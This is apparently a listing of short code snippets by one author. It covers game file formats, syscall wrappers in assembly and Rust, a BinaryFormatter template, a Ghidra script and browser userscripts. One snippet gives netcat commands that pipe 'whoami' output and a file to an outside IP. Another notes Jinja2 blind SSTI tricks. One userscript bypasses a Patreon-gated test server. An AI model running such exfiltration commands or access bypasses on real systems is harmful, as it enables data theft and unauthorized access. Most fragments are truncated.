camas

Among Us secureNew file format

About

The secureNew file is used by Among Us to check unlocked skins, pets, etc. It has some basic anti-tamper.

Data Types

Data types used by secureNew

camas

; %include "syscalls.asm"

SYS_read equ 0
SYS_write equ 1
SYS_open equ 2
SYS_close equ 3
SYS_stat equ 4
SYS_fstat equ 5
SYS_lstat equ 6
SYS_poll equ 7

camas

Jinja2 blind SSTI extraction tricks

Only useful when:

• SSTI possible

• Double brackets {{ filtered

• Alternate data extraction methods not possible (reverse shell etc.)

camas

Powershell likes to fuck with the encoding of everything and also doesn't like piping raw data so an easy way while in a PS shell is to just use cmd

cmd /c "whoami | ./nc.exe 10.10.14.10 4444"

cmd /c "./nc.exe 1.1.1.1 80 < file.txt"

Wrong ways to do it:

camas

pub unsafe fn syscall0(n: isize) -> isize {
    let mut ret: isize;
    asm!(
        "syscall",
        in("rax") n,
        out("rcx") _,
        out("r11") _,
        lateout("rax") ret,
    );
    ret

camas

// See: https://en.wikipedia.org/wiki/UTF-8#Encoding

fn read_char<T: Read>(data: &mut T) -> char {
    let b = read_u8(data);
    let value;
    if (b & 0b1111_1000) == 0b1111_0000 {
        value = (((b & 0b0000_0111) as u32) << 18)
            + (((read_u8(data) & 0b0011_1111) as u32) << 12)
            + (((read_u8(data) & 0b0011_1111) as u32) << 6)
            + ((read_u8(data) & 0b0011_1111) as u32);

camas

Binary Format Template

An 010 Editor template for the binary format used by dotnet's BinaryFormatter.

Full spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5

Not fully complete but should work for most structures

Also included is example data and the script used to generate it. Requires dotnet script

camas

// ==UserScript==
// @name         melvor-test-bypass
// @version      1.0
// @description  Use test.melvoridle.com without being a patreon
// @author       Camas
// @match        https://test.melvoridle.com/
// @grant        none
// ==/UserScript==

(function() {

camas

# Creates a search signature for the highlighted instructions
# Highlighted area should be continuous
#@author Camas

area_min = currentSelection.getMinAddress()
area_max = currentSelection.getMaxAddress()

current = area_min
output = []
while True:

camas

// ==UserScript==
// @name         AoC readmeifierthingy
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Converts Advent of Code instructions into markdown format
// @author       Camas
// @match        *://adventofcode.com/*/day/*
// @exclude      *://adventofcode.com/*/day/*/input
// @grant        GM_addStyle
// @grant        GM_setClipboard